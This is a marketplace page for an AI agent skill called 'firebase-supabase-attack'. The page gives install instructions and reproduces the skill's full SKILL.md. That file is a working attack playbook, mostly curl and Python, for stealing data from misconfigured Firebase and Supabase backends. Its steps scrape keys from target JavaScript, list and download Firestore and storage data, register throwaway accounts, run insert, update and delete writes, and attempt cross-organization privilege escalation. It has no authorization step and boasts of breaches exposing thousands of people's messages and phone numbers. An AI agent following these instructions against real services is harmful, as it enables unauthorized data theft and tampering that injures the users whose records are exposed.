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Firebase Supabase Attack

CommunityPopular
uphiago
firebase-supabase-attack

Exploit Firebase/Supabase for data via JS config leak probe.

Overview

Publisheruphiago
Repositoryrecon-skills
Skill namefirebase-supabase-attack
Stars
1.3K
Forks
213
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Firebase Supabase Attack AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/recon/firebase-supabase-attack .claude/skills/firebase-supabase-attack
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Firebase Supabase Attack in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Firebase Supabase Attack on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Firebase Supabase Attack is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Firebase & Supabase Attack Skill

Exploit misconfigured Firebase (Firestore, Storage, Auth) and Supabase (REST API, Storage, Auth) backends. These BaaS platforms are the #1 source of massive data breaches in modern web apps when Row Level Security (RLS) is missing and API keys leak in JavaScript bundles. Confirmed on delivery-platform (204K WhatsApp conversations, 173K phone numbers), visa-processing-platform (64K users, 46K reports), fitness-chain (39K users, 5 Firebase projects, 21 credentials), dental-booking (9 clinics, 1,749 leads).

When to Use

  • JavaScript bundle analysis reveals Firebase config (apiKey, projectId) or Supabase URL + anon key.
  • Target uses a modern SPA (React, Vue, Angular) with BaaS backend.
  • After js-secrets-extraction finds Firebase/Supabase identifiers.
  • After source-leak-hunt finds .env with FIREBASE_* or SUPABASE_* variables.

Prerequisites

  • terminal with curl, python3, jq.
  • Firebase project ID or Supabase URL + anon key (from JS bundle, source leak, or recon).
  • For Firebase SA key exploitation: python3 with google-auth library.

How to Run

bash
# Firebase Firestore — list collections (if public)
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/"

# Supabase — list users table (if RLS missing)
curl --max-time 30 --connect-timeout 10 -sk "https://PROJECT.supabase.co/rest/v1/users" \
  -H "apikey: ANON_KEY" -H "Authorization: Bearer ANON_KEY"

# Supabase — test signup (if open)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://PROJECT.supabase.co/auth/v1/signup" \
  -H "apikey: ANON_KEY" -H "Content-Type: application/json" \
  -d '{"email":"test@evil.com","password":"Test123!"}'

Quick Reference

PlatformWhat to FindExploit PathReal Example
Firebase FirestorePublic database rulesDirect REST API access, list all collectionsdelivery-platform: 204K conversations public
Firebase StoragePublic bucket rulesDownload all files via REST APIdelivery-platform: 1,000+ WhatsApp audio files public
Firebase AuthOpen signupCreate accounts, access protected resourcesfitness-chain: Firebase Auth signup open
Firebase SA KeyService account JSONGCP IAM escalation, access all GCP resourcesfitness-chain: 5 SA keys → full GCP access
Supabase RESTMissing RLSSELECT/INSERT/UPDATE/DELETE on any tablevisa-processing-platform: 64K users, 46K reports, DELETE confirmed
Supabase StoragePublic bucketsDownload all files, upload malicious contentvisa-processing-platform: public PDF reports bucket
Supabase AuthOpen signupCreate accounts, bypass access controlsdental-booking: open signup + auto-confirm

Procedure

Phase 1 — Extract Configuration from JS Bundles

bash
TARGET="$1"
OUTDIR="$OUTDIR/firebase_supabase/$TARGET"
mkdir -p "$OUTDIR"

# Download homepage and common JS entry points
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/" -o "$OUTDIR/index.html"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/app.js" -o "$OUTDIR/app.js" 2>/dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/main.js" -o "$OUTDIR/main.js" 2>/dev/null

echo "[*] Extracting Firebase/Supabase configs..."

# Firebase config pattern
grep -Eo 'apiKey["\s:]+["][^"]+["]|projectId["\s:]+["][^"]+["]|firebase\.initializeApp' \
  "$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u

# Supabase config pattern
grep -Eo 'supabase\.co[^"'\'' ]+|supabaseUrl["\s:]+["][^"]+["]|supabaseKey["\s:]+["][^"]+["]|anon[_-]?key["\s:=]+["][^"]{20,}["]' \
  "$OUTDIR"/*.html "$OUTDIR"/*.js 2>/dev/null | sort -u

Phase 2 — Firebase Firestore Exploitation

bash
PROJECT_ID="$1"  # e.g., delivery-bot-platform

echo "[*] Firestore enumeration for $PROJECT_ID"

# List root collections (if public)
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" | \
  python3 -c "
import sys, json
try:
    data = json.load(sys.stdin)
    if 'documents' in data:
        print(f'ERROR: {len(data[\"documents\"])} root docs — not a collection list')
    else:
        for k in data.keys():
            print(f'Collection: {k}')
except Exception as e:
    print(f'Error: {e}')
    print(sys.stdin.read()[:500])
" 2>/dev/null

# If Firestore requires auth, try with Firebase ID token from Auth
# (see Phase 4 for token generation via signup)

Phase 3 — Firestore Collection & Document Access

bash
PROJECT_ID="$1"
COLLECTION="$2"  # e.g., conversationsV3, users, stores

echo "[*] Accessing collection: $COLLECTION"

# List documents in collection
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
    print(f'Documents found: {len(data[\"documents\"])}')
    for doc in data['documents'][:5]:
        name = doc['name'].split('/')[-1]
        fields = doc.get('fields', {})
        # Extract top-level fields
        keys = list(fields.keys())[:10]
        print(f'  {name}: {keys}')
    if len(data['documents']) > 5:
        print(f'  ... and {len(data[\"documents\"]) - 5} more')
elif 'error' in data:
    print(f'Error: {data[\"error\"][\"message\"]}')
" 2>/dev/null

# Read a specific document
DOC_ID="$3"  # from the listing above
curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/$COLLECTION/$DOC_ID" | \
  python3 -m json.tool 2>/dev/null | head -50

Phase 4 — Firebase Auth Signup & Token Generation

bash
API_KEY="$1"  # from JS bundle (web API key)
PROJECT_ID="$2"

echo "[*] Testing Firebase Auth signup on $PROJECT_ID"

# Sign up
SIGNUP_RESP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=$API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!","returnSecureToken":true}')

if echo "$SIGNUP_RESP" | grep -q "idToken"; then
  echo "[+] SIGNUP OPEN — account created!"
  ID_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['idToken'])" 2>/dev/null)
  echo "  ID Token: ${ID_TOKEN:0:50}..."

  # Now use this token with Firestore
  echo "[*] Testing Firestore access with ID token..."
  curl --max-time 30 --connect-timeout 10 -sk "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/" \
    -H "Authorization: Bearer $ID_TOKEN" | python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'documents' in data:
    print(f'[+] ACCESS GRANTED — {len(data[\"documents\"])} collections visible')
elif 'error' in data:
    print(f'[-] Access denied: {data[\"error\"][\"message\"]}')
else:
    print(f'[?] Unknown response: {list(data.keys())}')
" 2>/dev/null
else
  echo "[-] Signup blocked: $(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('error',{}).get('message','unknown'))" 2>/dev/null)"
fi

Phase 5 — Firebase Storage Enumeration

bash
PROJECT_ID="$1"
BUCKET="${PROJECT_ID}.appspot.com"  # default bucket name

echo "[*] Storage enumeration for $BUCKET"

# List objects (if public)
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o" | \
  python3 -c "
import sys, json
data = json.load(sys.stdin)
if 'items' in data:
    total = len(data['items'])
    total_size = sum(int(i.get('size', 0)) for i in data['items'])
    print(f'Objects: {total} ({total_size:,} bytes)')
    for item in data['items'][:5]:
        print(f'  {item[\"name\"]} ({item.get(\"size\",0):,} bytes)')
elif 'error' in data:
    print(f'Error: {data[\"error\"][\"message\"]}')
"

# Download a specific file
OBJECT_NAME="$2"  # from listing
curl --max-time 30 --connect-timeout 10 -sk "https://storage.googleapis.com/storage/v1/b/$BUCKET/o/$OBJECT_NAME?alt=media" \
  -o "/tmp/firebase_$OBJECT_NAME"
echo "[+] Downloaded to /tmp/firebase_$OBJECT_NAME"

Phase 6 — Supabase REST API Exploitation

bash
SUPABASE_URL="$1"  # e.g., https://gfgmuezavgzjmaxhflsu.supabase.co
ANON_KEY="$2"       # from JS bundle

echo "[*] Supabase REST API enumeration"

# Schema discovery — list tables by querying common names
TABLES=("users" "profiles" "organizations" "posts" "comments" "purchases"
        "orders" "products" "reports" "relatorios" "documents" "files"
        "messages" "conversations" "sessions" "audit_logs")

for table in "${TABLES[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
    "$SUPABASE_URL/rest/v1/$table?limit=1" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" 2>/dev/null)

  if [[ "$code" == "200" ]]; then
    count=$(curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=0" \
      -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
      -H "Prefer: count=exact" -I 2>/dev/null | grep -i "content-range" | grep -Eo '\d+(?=/\d+$)')
    echo "  [TABLE] $table — HTTP 200 (${count:-?} rows)"

    # Fetch first 3 rows
    curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=3" \
      -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | \
      python3 -m json.tool 2>/dev/null | head -20
    echo ""
  elif [[ "$code" == "401" || "$code" == "403" ]]; then
    echo "  [BLOCKED] $table — HTTP $code (RLS protected)"
  fi
done

Phase 7 — Supabase CRUD Testing (RLS Bypass)

bash
SUPABASE_URL="$1"
ANON_KEY="$2"
TABLE="$3"  # from table discovery above

echo "[*] CRUD testing on $TABLE"

# INSERT
echo -n "  INSERT: "
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" -H "Prefer: return=minimal" \
  -d '{"test":"rls_bypass_probe_'$(date +%s)'"}' \
  -o /dev/null -w "%{http_code}" 2>/dev/null
echo ""

# UPDATE (PATCH)
echo -n "  UPDATE: "
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" -H "Prefer: return=minimal" \
  -d '{"test":"rls_updated"}' \
  -o /dev/null -w "%{http_code}" 2>/dev/null
echo ""

# DELETE
echo -n "  DELETE: "
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?test=eq.RLS_BYPASS" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" \
  -H "Prefer: return=minimal" \
  -o /dev/null -w "%{http_code}" 2>/dev/null
echo ""

Phase 8 — Supabase Auth Signup

bash
SUPABASE_URL="$1"
ANON_KEY="$2"

echo "[*] Supabase Auth signup test"

SIGNUP_RESP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
  -H "apikey: $ANON_KEY" -H "Content-Type: application/json" \
  -d '{"email":"test-'$(date +%s)'@evil.com","password":"TestPass123!"}')

if echo "$SIGNUP_RESP" | grep -q "access_token"; then
  echo "[+] SIGNUP OPEN!"
  ACCESS_TOKEN=$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])" 2>/dev/null)
  echo "  Access Token: ${ACCESS_TOKEN:0:50}..."

  # Test cross-org access (change organization_id in profile)
  curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.$(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['user']['id'])" 2>/dev/null)" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN" \
    -H "Content-Type: application/json" -H "Prefer: return=representation" \
    -d '{"organization_id":1}' 2>/dev/null | python3 -m json.tool 2>/dev/null
  echo "  [*] If the above returned data for org_id=1, cross-organization access works"
else
  echo "[-] Signup blocked: $(echo "$SIGNUP_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('msg','unknown'))" 2>/dev/null)"
fi

Pitfalls

  • Anon key is NOT a secret. It's designed to be public. The vulnerability is missing RLS, not the key exposure itself.
  • Firestore rules may allow reads but not writes. Test SELECT, INSERT, UPDATE, DELETE separately.
  • Supabase RLS may protect some tables but not others. Test every table independently.
  • Firebase Auth signup may require email verification. Check if the app auto-confirms emails (many do).
  • Rate limiting on Firestore REST API. Spread requests 0.5-1s apart for large extractions.
  • API key in JS bundle may be truncated/redacted. The key string visible in the minified bundle may show AIzaSy...USd4 or similar truncation. This happens when the bundler splits the key across multiple string literals or when the key references a variable defined elsewhere. If the Firebase API tests return "API key not valid", the key may be a partial match from the regex. Extract the surrounding context (50+ chars on each side) to find the complete key.
  • Firebase project may not be deployed. The Firebase project ID (e.g., medxgo-2e637) may exist in the GCP project registry but have no deployed Firebase resources (no Firestore, no Hosting, no Storage). Check /firebaseapp.com, /firebaseio.com, and /firestore.googleapis.com independently — each may return different results.

Verification

  • Firebase Firestore: MUST list collections/documents without authentication (no Authorization header).
  • Supabase REST: MUST return HTTP 200 with data rows using only the anon key (no user JWT).
  • Supabase CRUD: MUST confirm at least one write operation (INSERT/UPDATE/DELETE) succeeds.
  • Firebase Auth signup: MUST return idToken or access_token in the response.
  • Firebase Storage: MUST list objects without authentication.
  • Document all accessible data: collection/table names, row counts, sensitive fields exposed.

Frequently asked questions

What does the Firebase Supabase Attack AI skill do?

Exploit Firebase/Supabase for data via JS config leak probe.

Why use Firebase Supabase Attack on TypingMind?

Because you install it once and use it with any model. Firebase Supabase Attack is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Firebase Supabase Attack in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/recon/firebase-supabase-attack. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Firebase Supabase Attack?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Firebase Supabase Attack?

As many as you like. As long as a model supports skills, you can use Firebase Supabase Attack with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Firebase Supabase Attack AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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